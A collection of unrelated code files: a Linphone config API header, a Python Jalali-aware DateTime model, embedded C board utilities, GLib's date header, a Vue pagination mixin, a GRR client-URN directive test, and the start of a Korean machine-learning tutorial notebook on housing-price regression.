/**
* Reads a user config file and fill the LpConfig with the read config values.
* @ingroup misc
* @param lpconfig The LpConfig object to fill with the content of the file
* @param filename The filename of the config file to read to fill the LpConfig
*/
LINPHONE_PUBLIC int lp_config_read_file(LpConfig *lpconfig, const char *filename);
/**
* Retrieves a configuration item as a string, given its section, key, and default value.
*
* @ingroup misc
* The default value string is returned if the config item isn't found.
**/
LINPHONE_PUBLIC const char *lp_config_get_string(const LpConfig *lpconfig, const char *section, const char *key, const char *default_string);
/**
* Retrieves a configuration item as a range, given its section, key, and default min and max values.
*
* @ingroup misc
* @return TRUE if the value is successfully parsed as a range, FALSE otherwise.
* If FALSE is returned, min and max are filled respectively with default_min and default_max values.
*/
LINPHONE_PUBLIC bool_t lp_config_get_range(const LpConfig *lpconfig, const char *section, const char *key, int *min, int *max, int default_min, int default_max);
/**
* Retrieves a configuration item as an integer, given its section, key, and default value.
*
* @ingroup misc
* The default integer value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC int lp_config_get_int(const LpConfig *lpconfig,const char *section, const char *key, int default_value);
/**
* Retrieves a configuration item as a 64 bit integer, given its section, key, and default value.
*
* @ingroup misc
* The default integer value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC int64_t lp_config_get_int64(const LpConfig *lpconfig,const char *section, const char *key, int64_t default_value);
/**
* Retrieves a configuration item as a float, given its section, key, and default value.
*
* @ingroup misc
* The default float value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC float lp_config_get_float(const LpConfig *lpconfig,const char *section, const char *key, float default_value);
/**
* Sets a string config item
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_set_string(LpConfig *lpconfig,const char *section, const char *key, const char *value);
/**
* Sets a range config item
*
* @ingroup misc
*/
LINPHONE_PUBLIC void lp_config_set_range(LpConfig *lpconfig, const char *section, const char *key, int min_value, int max_value);
/**
* Sets an integer config item
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_set_int(LpConfig *lpconfig,const char *section, const char *key, int value);
/**
* Sets an integer config item, but store it as hexadecimal
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_set_int_hex(LpConfig *lpconfig,const char *section, const char *key, int value);
/**
* Sets a 64 bits integer config item
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_set_int64(LpConfig *lpconfig,const char *section, const char *key, int64_t value);
/**
* Sets a float config item
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_set_float(LpConfig *lpconfig,const char *section, const char *key, float value);
/**
* Writes the config file to disk.
*
* @ingroup misc
**/
LINPHONE_PUBLIC int lp_config_sync(LpConfig *lpconfig);
/**
* Returns 1 if a given section is present in the configuration.
*
* @ingroup misc
**/
LINPHONE_PUBLIC int lp_config_has_section(const LpConfig *lpconfig, const char *section);
/**
* Removes every pair of key,value in a section and remove the section.
*
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_clean_section(LpConfig *lpconfig, const char *section);
/**
* Call a function for each section present in the configuration.
*
* @ingroup misc
**/
void lp_config_for_each_section(const LpConfig *lpconfig, void (*callback)(const char *section, void *ctx), void *ctx);
/**
* Call a function for each entry present in a section configuration.
*
* @ingroup misc
**/
void lp_config_for_each_entry(const LpConfig *lpconfig, const char *section, void (*callback)(const char *entry, void *ctx), void *ctx);
/*tells whether uncommited (with lp_config_sync()) modifications exist*/
int lp_config_needs_commit(const LpConfig *lpconfig);
LINPHONE_PUBLIC void lp_config_destroy(LpConfig *cfg);
/**
* Retrieves a default configuration item as an integer, given its section, key, and default value.
*
* @ingroup misc
* The default integer value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC int lp_config_get_default_int(const LpConfig *lpconfig, const char *section, const char *key, int default_value);
/**
* Retrieves a default configuration item as a 64 bit integer, given its section, key, and default value.
*
* @ingroup misc
* The default integer value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC int64_t lp_config_get_default_int64(const LpConfig *lpconfig, const char *section, const char *key, int64_t default_value);
/**
* Retrieves a default configuration item as a float, given its section, key, and default value.
*
* @ingroup misc
* The default float value is returned if the config item isn't found.
**/
LINPHONE_PUBLIC float lp_config_get_default_float(const LpConfig *lpconfig, const char *section, const char *key, float default_value);
/**
* Retrieves a default configuration item as a string, given its section, key, and default value.
*
* @ingroup misc
* The default value string is returned if the config item isn't found.
**/
LINPHONE_PUBLIC const char* lp_config_get_default_string(const LpConfig *lpconfig, const char *section, const char *key, const char *default_value);
/**
* Retrieves a section parameter item as a string, given its section and key.
*
* @ingroup misc
* The default value string is returned if the config item isn't found.
**/
LINPHONE_PUBLIC const char* lp_config_get_section_param_string(const LpConfig *lpconfig, const char *section, const char *key, const char *default_value);
/**
* increment reference count
* @ingroup misc
**/
LINPHONE_PUBLIC LpConfig *lp_config_ref(LpConfig *lpconfig);
/**
* Decrement reference count, which will eventually free the object.
* @ingroup misc
**/
LINPHONE_PUBLIC void lp_config_unref(LpConfig *lpconfig);
/**
* @brief Write a string in a file placed relatively with the Linphone configuration file.
* @param lpconfig LpConfig instance used as a reference
* @param filename Name of the file where to write data. The name is relative to the place of the config file
* @param data String to write
*/
LINPHONE_PUBLIC void lp_config_write_relative_file(const LpConfig *lpconfig, const char *filename, const char *data);
/**
* @brief Read a string from a file placed beside the Linphone configuration file
* @param lpconfig LpConfig instance used as a reference
* @param filename Name of the file where data will be read from. The name is relative to the place of the config file
* @param data Buffer where read string will be stored
* @param max_length Length of the buffer
* @return 0 on success, -1 on failure
*/
LINPHONE_PUBLIC int lp_config_read_relative_file(const LpConfig *lpconfig, const char *filename, char *data, size_t max_length);
#ifdef __cplusplus
}
#endif
#endif
|
import typing as t
from .date import Date
from pydantic import conint
import datetime as dt
import persiantools.jdatetime as jdt
import pytz
def get_datetime_dict(datetime: dt.datetime, fa: bool = False):
if fa:
if not isinstance(fa, bool):
tz = fa
else:
tz = pytz.timezone('Asia/Tehran')
datetime = jdt \
.JalaliDateTime \
.to_jalali(datetime) \
.astimezone(tz)
return {
'hour': datetime.hour,
'minute': datetime.minute,
'second': datetime.second,
'timestamp': datetime.timestamp(),
'tzinfo': str(datetime.tzinfo)
}
class DateTime(Date):
hour: conint(ge=0, le=24)
minute: conint(ge=0, le=60)
second: conint(ge=0, le=60)
timestamp: t.Optional[float]
tzinfo: t.Optional[str]
def __init__(self, **data):
if data.get('now'):
data['datetime'] = dt.datetime.now(tz=pytz.UTC)
if data.get('datetime') \
and isinstance(
data['datetime'], dt.datetime
):
data.update(
get_datetime_dict(data['datetime'], data.get('fa', False))
)
super().__init__(**data)
|
/**
* @file common.c
* @brief TODO
* @author Takashi Kashiwagi
* @date 2018/10/28
* @version 0.1
* @details
* --
* License Type <MIT License>
* --
* Copyright 2018 Takashi Kashiwagi
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
* @par Update:
* - 2018/10/28: Takashi Kashiwagi: v0.1 for IMXRT1060-EVK
*/
#include "common/common.h"
#include "board.h"
#include "mimiclib.h"
#include "ff.h"
#include "pin_mux.h"
#include "fsl_gpio.h"
#include "fsl_iomuxc.h"
void MemDump(uintptr_t addr, size_t ByteCnt)
{
/** var */
size_t i;
size_t LoopTimes;
uint8_t *pu8 = (uint8_t *)addr;
LoopTimes = ByteCnt / 16u;
if ((LoopTimes * 16u) != ByteCnt)
{
LoopTimes++;
}
for (i = 0; i < LoopTimes; i++)
{
size_t index = i * 16;
size_t j;
for (j = 0; j < 16; j++)
{
mimic_printf("%02X ", pu8[index + j]);
}
vTaskDelay(10);
mimic_printf(" : ");
for (j = 0; j < 16; j++)
{
mimic_printf("%c", mimic_isprint(pu8[index + j]) ? pu8[index + j] : '.');
}
mimic_printf("\r\n");
vTaskDelay(10);
}
mimic_printf("-------------------------------------------------------------------\r\n");
}
void reboot(void){
gpio_pin_config_t stGpioConfig;
stGpioConfig.direction = kGPIO_DigitalOutput;
stGpioConfig.outputLogic = 0;
stGpioConfig.interruptMode = kGPIO_NoIntmode;
IOMUXC_SetPinMux(IOMUXC_GPIO_B1_13_GPIO2_IO29, 0);
GPIO_PinInit(GPIO2, 29, &stGpioConfig);
uint8_t u8Out = 0;
for(;;){
mimic_printf("Wainting Reset (%lu msec)\r\n", osKernelGetTickCount());
GPIO_PinWrite(GPIO2, 29, u8Out);
u8Out ^= 1;
vTaskDelay(2000);
}
}
TCHAR *GetFileExt(TCHAR szExt[], const TCHAR szFilePath[], uint32_t SizeofStr, size_t SizeExt)
{
size_t slen;
size_t i;
TCHAR *pret = szExt;
szExt[0] = (TCHAR)'\0';
slen = mimic_tcslen(szFilePath, SizeofStr);
if (slen > 0)
{
i = slen - 1;
for (;;)
{
if (szFilePath[i] == (TCHAR)'.')
{
mimic_tcscpy(szExt, &szFilePath[i + 1], SizeExt);
break;
}
if (i == 0)
{
break;
}
else
{
i--;
}
}
}
return pret;
}
|
/* GLIB - Library of useful routines for C programming
* Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, see <http://www.gnu.org/licenses/>.
*/
/*
* Modified by the GLib Team and others 1997-2000. See the AUTHORS
* file for a list of people on the GLib Team. See the ChangeLog
* files for a list of changes. These files are distributed with
* GLib at ftp://ftp.gtk.org/pub/gtk/.
*/
#ifndef __G_DATE_H__
#define __G_DATE_H__
#if !defined (__GLIB_H_INSIDE__) && !defined (GLIB_COMPILATION)
#error "Only <glib.h> can be included directly."
#endif
#include <time.h>
#include <glib/gtypes.h>
#include <glib/gquark.h>
G_BEGIN_DECLS
/* GDate
*
* Date calculations (not time for now, to be resolved). These are a
* mutant combination of Steffen Beyer's DateCalc routines
* (http://www.perl.com/CPAN/authors/id/STBEY/) and Jon Trowbridge's
* date routines (written for in-house software). Written by Havoc
* Pennington <hp@pobox.com>
*/
typedef gint32 GTime GLIB_DEPRECATED_TYPE_IN_2_62_FOR(GDateTime);
typedef guint16 GDateYear;
typedef guint8 GDateDay; /* day of the month */
typedef struct _GDate GDate;
/* enum used to specify order of appearance in parsed date strings */
typedef enum
{
G_DATE_DAY = 0,
G_DATE_MONTH = 1,
G_DATE_YEAR = 2
} GDateDMY;
/* actual week and month values */
typedef enum
{
G_DATE_BAD_WEEKDAY = 0,
G_DATE_MONDAY = 1,
G_DATE_TUESDAY = 2,
G_DATE_WEDNESDAY = 3,
G_DATE_THURSDAY = 4,
G_DATE_FRIDAY = 5,
G_DATE_SATURDAY = 6,
G_DATE_SUNDAY = 7
} GDateWeekday;
typedef enum
{
G_DATE_BAD_MONTH = 0,
G_DATE_JANUARY = 1,
G_DATE_FEBRUARY = 2,
G_DATE_MARCH = 3,
G_DATE_APRIL = 4,
G_DATE_MAY = 5,
G_DATE_JUNE = 6,
G_DATE_JULY = 7,
G_DATE_AUGUST = 8,
G_DATE_SEPTEMBER = 9,
G_DATE_OCTOBER = 10,
G_DATE_NOVEMBER = 11,
G_DATE_DECEMBER = 12
} GDateMonth;
#define G_DATE_BAD_JULIAN 0U
#define G_DATE_BAD_DAY 0U
#define G_DATE_BAD_YEAR 0U
/* Note: directly manipulating structs is generally a bad idea, but
* in this case it's an *incredibly* bad idea, because all or part
* of this struct can be invalid at any given time. Use the functions,
* or you will get hosed, I promise.
*/
struct _GDate
{
guint julian_days : 32; /* julian days representation - we use a
* bitfield hoping that 64 bit platforms
* will pack this whole struct in one big
* int
*/
guint julian : 1; /* julian is valid */
guint dmy : 1; /* dmy is valid */
/* DMY representation */
guint day : 6;
guint month : 4;
guint year : 16;
};
/* g_date_new() returns an invalid date, you then have to _set() stuff
* to get a usable object. You can also allocate a GDate statically,
* then call g_date_clear() to initialize.
*/
GLIB_AVAILABLE_IN_ALL
GDate* g_date_new (void);
GLIB_AVAILABLE_IN_ALL
GDate* g_date_new_dmy (GDateDay day,
GDateMonth month,
GDateYear year);
GLIB_AVAILABLE_IN_ALL
GDate* g_date_new_julian (guint32 julian_day);
GLIB_AVAILABLE_IN_ALL
void g_date_free (GDate *date);
GLIB_AVAILABLE_IN_2_56
GDate* g_date_copy (const GDate *date);
/* check g_date_valid() after doing an operation that might fail, like
* _parse. Almost all g_date operations are undefined on invalid
* dates (the exceptions are the mutators, since you need those to
* return to validity).
*/
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid (const GDate *date);
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_day (GDateDay day) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_month (GDateMonth month) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_year (GDateYear year) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_weekday (GDateWeekday weekday) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_julian (guint32 julian_date) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
gboolean g_date_valid_dmy (GDateDay day,
GDateMonth month,
GDateYear year) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
GDateWeekday g_date_get_weekday (const GDate *date);
GLIB_AVAILABLE_IN_ALL
GDateMonth g_date_get_month (const GDate *date);
GLIB_AVAILABLE_IN_ALL
GDateYear g_date_get_year (const GDate *date);
GLIB_AVAILABLE_IN_ALL
GDateDay g_date_get_day (const GDate *date);
GLIB_AVAILABLE_IN_ALL
guint32 g_date_get_julian (const GDate *date);
GLIB_AVAILABLE_IN_ALL
guint g_date_get_day_of_year (const GDate *date);
/* First monday/sunday is the start of week 1; if we haven't reached
* that day, return 0. These are not ISO weeks of the year; that
* routine needs to be added.
* these functions return the number of weeks, starting on the
* corrsponding day
*/
GLIB_AVAILABLE_IN_ALL
guint g_date_get_monday_week_of_year (const GDate *date);
GLIB_AVAILABLE_IN_ALL
guint g_date_get_sunday_week_of_year (const GDate *date);
GLIB_AVAILABLE_IN_ALL
guint g_date_get_iso8601_week_of_year (const GDate *date);
/* If you create a static date struct you need to clear it to get it
* in a safe state before use. You can clear a whole array at
* once with the ndates argument.
*/
GLIB_AVAILABLE_IN_ALL
void g_date_clear (GDate *date,
guint n_dates);
/* The parse routine is meant for dates typed in by a user, so it
* permits many formats but tries to catch common typos. If your data
* needs to be strictly validated, it is not an appropriate function.
*/
GLIB_AVAILABLE_IN_ALL
void g_date_set_parse (GDate *date,
const gchar *str);
GLIB_AVAILABLE_IN_ALL
void g_date_set_time_t (GDate *date,
time_t timet);
G_GNUC_BEGIN_IGNORE_DEPRECATIONS
GLIB_DEPRECATED_IN_2_62_FOR(g_date_set_time_t)
void g_date_set_time_val (GDate *date,
GTimeVal *timeval);
GLIB_DEPRECATED_FOR(g_date_set_time_t)
void g_date_set_time (GDate *date,
GTime time_);
G_GNUC_END_IGNORE_DEPRECATIONS
GLIB_AVAILABLE_IN_ALL
void g_date_set_month (GDate *date,
GDateMonth month);
GLIB_AVAILABLE_IN_ALL
void g_date_set_day (GDate *date,
GDateDay day);
GLIB_AVAILABLE_IN_ALL
void g_date_set_year (GDate *date,
GDateYear year);
GLIB_AVAILABLE_IN_ALL
void g_date_set_dmy (GDate *date,
GDateDay day,
GDateMonth month,
GDateYear y);
GLIB_AVAILABLE_IN_ALL
void g_date_set_julian (GDate *date,
guint32 julian_date);
GLIB_AVAILABLE_IN_ALL
gboolean g_date_is_first_of_month (const GDate *date);
GLIB_AVAILABLE_IN_ALL
gboolean g_date_is_last_of_month (const GDate *date);
/* To go forward by some number of weeks just go forward weeks*7 days */
GLIB_AVAILABLE_IN_ALL
void g_date_add_days (GDate *date,
guint n_days);
GLIB_AVAILABLE_IN_ALL
void g_date_subtract_days (GDate *date,
guint n_days);
/* If you add/sub months while day > 28, the day might change */
GLIB_AVAILABLE_IN_ALL
void g_date_add_months (GDate *date,
guint n_months);
GLIB_AVAILABLE_IN_ALL
void g_date_subtract_months (GDate *date,
guint n_months);
/* If it's feb 29, changing years can move you to the 28th */
GLIB_AVAILABLE_IN_ALL
void g_date_add_years (GDate *date,
guint n_years);
GLIB_AVAILABLE_IN_ALL
void g_date_subtract_years (GDate *date,
guint n_years);
GLIB_AVAILABLE_IN_ALL
gboolean g_date_is_leap_year (GDateYear year) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
guint8 g_date_get_days_in_month (GDateMonth month,
GDateYear year) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
guint8 g_date_get_monday_weeks_in_year (GDateYear year) G_GNUC_CONST;
GLIB_AVAILABLE_IN_ALL
guint8 g_date_get_sunday_weeks_in_year (GDateYear year) G_GNUC_CONST;
/* Returns the number of days between the two dates. If date2 comes
before date1, a negative value is return. */
GLIB_AVAILABLE_IN_ALL
gint g_date_days_between (const GDate *date1,
const GDate *date2);
/* qsort-friendly (with a cast...) */
GLIB_AVAILABLE_IN_ALL
gint g_date_compare (const GDate *lhs,
const GDate *rhs);
GLIB_AVAILABLE_IN_ALL
void g_date_to_struct_tm (const GDate *date,
struct tm *tm);
GLIB_AVAILABLE_IN_ALL
void g_date_clamp (GDate *date,
const GDate *min_date,
const GDate *max_date);
/* Swap date1 and date2's values if date1 > date2. */
GLIB_AVAILABLE_IN_ALL
void g_date_order (GDate *date1, GDate *date2);
/* Just like strftime() except you can only use date-related formats.
* Using a time format is undefined.
*/
GLIB_AVAILABLE_IN_ALL
gsize g_date_strftime (gchar *s,
gsize slen,
const gchar *format,
const GDate *date);
#define g_date_weekday g_date_get_weekday GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_weekday)
#define g_date_month g_date_get_month GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_month)
#define g_date_year g_date_get_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_year)
#define g_date_day g_date_get_day GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_day)
#define g_date_julian g_date_get_julian GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_julian)
#define g_date_day_of_year g_date_get_day_of_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_day_of_year)
#define g_date_monday_week_of_year g_date_get_monday_week_of_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_monday_week_of_year)
#define g_date_sunday_week_of_year g_date_get_sunday_week_of_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_sunday_week_of_year)
#define g_date_days_in_month g_date_get_days_in_month GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_days_in_month)
#define g_date_monday_weeks_in_year g_date_get_monday_weeks_in_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_monday_weeks_in_year)
#define g_date_sunday_weeks_in_year g_date_get_sunday_weeks_in_year GLIB_DEPRECATED_MACRO_IN_2_26_FOR(g_date_get_sunday_weeks_in_year)
G_END_DECLS
#endif /* __G_DATE_H__ */
|
export default {
data() {
return {
current: 1,
total: null,
pageSize: 16,
}
},
methods: {
pageList(val) {
if(this.pageTotal){
this.current = val
this.initData();
}else{
this.current = val
this.getList()
}
}
},
computed: {
pageDataCount() {
return {
current: this.current,
pageSize: this.pageSize,
isSerial: true
}
}
}
}
|
'use strict';
goog.require('grrUi.semantic.module');
goog.require('grrUi.tests.browserTrigger');
goog.require('grrUi.tests.module');
var browserTrigger = grrUi.tests.browserTrigger;
describe('client urn directive', function() {
var $q, $compile, $rootScope, $timeout, grrApiService, grrRoutingService;
beforeEach(module('/static/angular-components/semantic/client-urn.html'));
beforeEach(module('/static/angular-components/semantic/client-urn-modal.html'));
beforeEach(module(grrUi.semantic.module.name));
beforeEach(module(grrUi.tests.module.name));
beforeEach(inject(function($injector) {
$q = $injector.get('$q');
$compile = $injector.get('$compile');
$rootScope = $injector.get('$rootScope');
$timeout = $injector.get('$timeout');
grrApiService = $injector.get('grrApiService');
grrRoutingService = $injector.get('grrRoutingService');
}));
var renderTestTemplate = function(value) {
$rootScope.value = value;
var template = '<grr-client-urn value="value" />';
var element = $compile(template)($rootScope);
$rootScope.$apply();
return element;
};
it('does not show anything when value is empty', function() {
var element = renderTestTemplate(null);
expect(element.text().trim()).toBe('');
});
it('shows string value', function() {
var element = renderTestTemplate('aff4:/C.0000000000000001');
expect(element.text()).toContain('C.0000000000000001');
});
it('shows value with type information', function() {
var clientUrn = {
age: 0,
type: 'ClientURN',
value: 'aff4:/C.0000000000000001'
};
var element = renderTestTemplate(clientUrn);
expect(element.text()).toContain('C.0000000000000001');
});
it('has a proper href', function() {
var clientUrn = {
age: 0,
type: 'ClientURN',
value: 'aff4:/C.0000000000000001'
};
spyOn(grrRoutingService, 'href').and.returnValue('#test/href');
var element = renderTestTemplate(clientUrn);
expect(element.find('a').attr('href')).toBe('#test/href');
expect(grrRoutingService.href).toHaveBeenCalledWith(
'client.hostInfo', {clientId: 'C.0000000000000001'});
});
it('redirects to host info page when clicked', function() {
var clientUrn = {
age: 0,
type: 'ClientURN',
value: 'aff4:/C.0000000000000001'
};
spyOn(grrRoutingService, 'go');
var element = renderTestTemplate(clientUrn);
browserTrigger($('a', element), 'click');
expect(grrRoutingService.go).toHaveBeenCalledWith('client.hostInfo',
{clientId: 'C.0000000000000001'});
});
describe('client urn summary modal dialog', function() {
beforeEach(function() {
grrApiService.get = function(urn, params) {
expect(urn).toBe('clients/C.0000000000000001');
return $q(function(resolve, reject) {
resolve({
data: 'This is a summary'
});
});
};
});
afterEach(function() {
// We have to clean document's body to remove modal windows that were not
// closed.
$(document.body).html('');
});
it('is shown when info button is clicked', function() {
var element = renderTestTemplate('aff4:/C.0000000000000001');
browserTrigger($('button', element), 'click');
expect($(document.body).text()).toContain(
'Client aff4:/C.0000000000000001');
});
it('closed when close button is clicked', function() {
var element = renderTestTemplate('aff4:/C.0000000000000001');
browserTrigger($('button', element), 'click');
expect($(document.body).text()).toContain(
'Client aff4:/C.0000000000000001');
browserTrigger($('button.close'), 'click');
$timeout.flush();
expect($(document.body).text()).not.toContain(
'Client aff4:/C.0000000000000001');
});
});
});
|
#!/usr/bin/env python
# coding: utf-8
# (ch:end2end)=
# # 머신러닝 프로젝트 처음부터 끝까지
# **감사의 글**
#
# 자료를 공개한 저자 오렐리앙 제롱과 강의자료를 지원한 한빛아카데미에게 진심어린 감사를 전합니다.
# **소스코드**
#
# 본문 내용의 일부를 파이썬으로 구현한 내용은
# [(구글코랩) 머신러닝 프로젝트 처음부터 끝까지](https://colab.research.google.com/github/codingalzi/handson-ml3/blob/master/notebooks/code_end2end_ml_project.ipynb)에서
# 확인할 수 있다.
# **주요 내용**
#
# 주택 가격을 예측하는 다양한 **회귀 모델**<font size="2">regression model</font>의
# 훈련 과정을 이용하여 머신러닝 시스템의 전체 훈련 과정을 살펴본다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-01d.png" width="600"></div>
# 특히 데이터 정제 및 전처리 과정으로 구성된 데이터 준비와
# 최선의 모델을 찾는 과정을 상세히 소개한다.
# ## 실전 데이터 활용
# 다양한 실전 데이터를 모아놓은 데이터 저장소를
# 머신러닝 공부에 잘 활용할 수 있어야 한다.
# 가장 유명한 데이터 저장소는 다음과 같다.
#
# * [OpenML](https://www.openml.org/)
# * [캐글(Kaggle) 데이터셋](http://www.kaggle.com/datasets)
# * [페이퍼스 위드 코드](https://paperswithcode.com/)
# * [UC 얼바인(UC Irvine) 대학교 머신러닝 저장소](http://archive.ics.uci.edu/ml)
# * [아마존 AWS 데이터셋](https://registry.opendata.aws)
# * [텐서플로우 데이터셋](https://www.tensorflow.org/datasets)
#
# 여기서는 1990년 미국 캘리포니아 주에서 수집한 인구조사 데이터를 사용하며,
# 데이터의 원본은 다양한 공개 저장소에서 다운로드할 수 있다.
# ## 큰 그림 그리기
# 머신러닝으로 해결하고자 하는 문제를 파악하기 위해
# 주어진 데이터에 대한 기초적인 정보를 확인하고,
# 문제 파악 및 해결법 등을 구상해야 한다.
# ### 데이터 정보 확인
# 1990년도에 시행된 미국 캘리포니아 주의 20,640개 구역별 인구조사 데이터는
# 경도, 위도, 중간 주택 연도, 방의 총 개수, 침실 총 개수, 인구, 가구 수, 중간 소득, 중간 주택 가격, 해안 근접도
# 등 총 10개의 특성을 포함한다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/LA-USA01.png" width="600"></div>
# ### 훈련 모델 확인
# **훈련 모델 종류**
# 구역별 중간 주택 가격을 예측하는 시스템에 활용될
# **회귀 모델**을 훈련시키고자 한다.
# 훈련시킬 모델의 특성은 다음과 같다.
#
# * 지도 학습: 구역별 '중간 주택 가격'을 레이블(타깃)로 지정한다.
#
# * 회귀: 가격을 예측한다. 보다 세분화하면 다중 회귀이자 단변량 회귀 모델이다.
# * 다중 회귀<font size="2">multiple regression</font>: 구역별로 여러 특성을 주택 가격 예측에 사용한다.
# * 단변량 회귀<font size="2">univariate regression</font>: 구역별로 한 종류의 값만 예측한다.
#
# * 배치 학습: 빠르게 변하는 데이터에 적응할 필요가 없으며, 데이터셋의 크기도 충분히 작다.
# :::{admonition} 다변량 회귀
# :class: info
#
# 다변량 회귀<font size="2">multivariate regression</font>는 여러 종류의 값을 동시에 예측한다.
# :::
# **훈련 모델 성능 측정 지표**
# 회귀 모델의 성능은 일반적으로 예측값과 타깃 사이의 오차를 활용하는 아래
# 두 평가하는 지표 중 하나를 사용한다.
#
# * 평균 제곱근 오차(RMSE)
# * 평균 절대 오차(MAE)
# **평균 제곱근 오차**<font size="2">Root Mean Square Error</font>(RMSE)는
# 예측값과 타깃 사이의 오차의 제곱의 평균값이다.
# **유클리디안 노름** 또는 **$\ell_2$ 노름**으로 불린다.
# $$\text{RMSE}(\mathbf X, h) = \sqrt{\frac 1 m \sum_{i=1}^{m} (h(\mathbf x^{(i)}) - y^{(i)})^2}$$
# 위 수식에 사용된 기호의 의미는 다음과 같다.
#
# * $\mathbf X$: 훈련셋 전체 샘플들의 특성값들로 구성된 행렬, 레이블(타깃) 제외.
# * $m$: $\mathbf X$의 행의 수. 즉, 훈련셋 크기.
# * $\mathbf x^{(i)}$: $i$ 번째 샘플의 특성값 벡터. 레이블(타깃) 제외.
# * $y^{(i)}$: $i$ 번째 샘플의 레이블(타깃)
# * $h$: 예측 함수
# * $h(\mathbf x^{(i)})$: $i$번째 샘플에 대한 예측 값. $\hat y^{(i)}$ 로 표기되기도 함.
# :::{prf:example} 훈련셋과 2D 어레이
# :label: 2d-array
#
# 모델 훈련에 사용되는 훈련셋에
# $m$ 개의 샘플이 포함되어 있고 각각의 샘플이 $n$ 개의 특성을 갖는다면
# 훈련셋은 $(m, n)$ 모양의 numpy의 2D 어레이로 지정된다.
#
# 예를 들어, $m = 5$, $n = 4$ 이면 훈련셋 $\mathbf X$는 다음과 같이
# 표현된다.
#
# ```python
# array([[-118.29, 33.91, 1416, 38372],
# [-114.30, 34.92, 2316, 41442],
# [-120.38, 35.21, 3444, 29303],
# [-122.33, 32.95, 2433, 24639],
# [-139.31, 33.33, 1873, 50736]])
# ```
#
# 각각의 $\mathbf{x}^{(i)}$는 $i$ 번째 행에 해당한다.
# 예를 들어 $\mathbf{x}^{(1)}$은 첫째 행의 1D 어레이를 가리킨다.
#
# ```python
# array([-118.29, 33.91, 1416, 38372])
# ```
#
# 단변량 회귀에서 $y^{(i)}$ 는 보통 부동소수점을 가리키며,
# 다변량 회귀에서는 $\mathbf{x}^{(i)}$ 처럼
# 여러 개의 타깃 값으로 구성된 1D 어레이로 표현된다.
# :::
# **평균 절대 오차**<font size="2">Mean Absolute Error</font>(MAE)는
# **맨해튼 노름** 또는 **$\ell_1$ 노름**으로도 불리며
# 예측값과 타깃 사이의 오차의 평균값이다.
#
# $$\text{MAE}(\mathbf X, h) = \frac 1 m \sum_{i=1}^{m} \mid h(\mathbf x^{(i)}) - y^{(i)} \mid$$
#
# 훈련셋에 이상치가 많이 포함된 경우 주로 사용되지만,
# 그렇지 않다면 일반적으로 RMSE가 선호된다.
# ## 데이터 다운로드 및 적재
# 캐리포니아 주택가격 데이터셋은 매우 유명하여 많은 공개 저장소에서 다운로드할 수 있다.
# 여기서는 깃허브 리포지토리에 압축파일로 저장한 파일을 다운로드해서 사용하며
# `housing` 변수가 가리키도록 적재되었다고 가정한다.
#
# ```python
# housing = load_housing_data()
# ```
# ### 데이터셋 기본 정보 확인
# pandas의 데이터프레임으로 데이터셋을 적재하여 기본적인 데이터 구조를 훑어볼 수 있다.
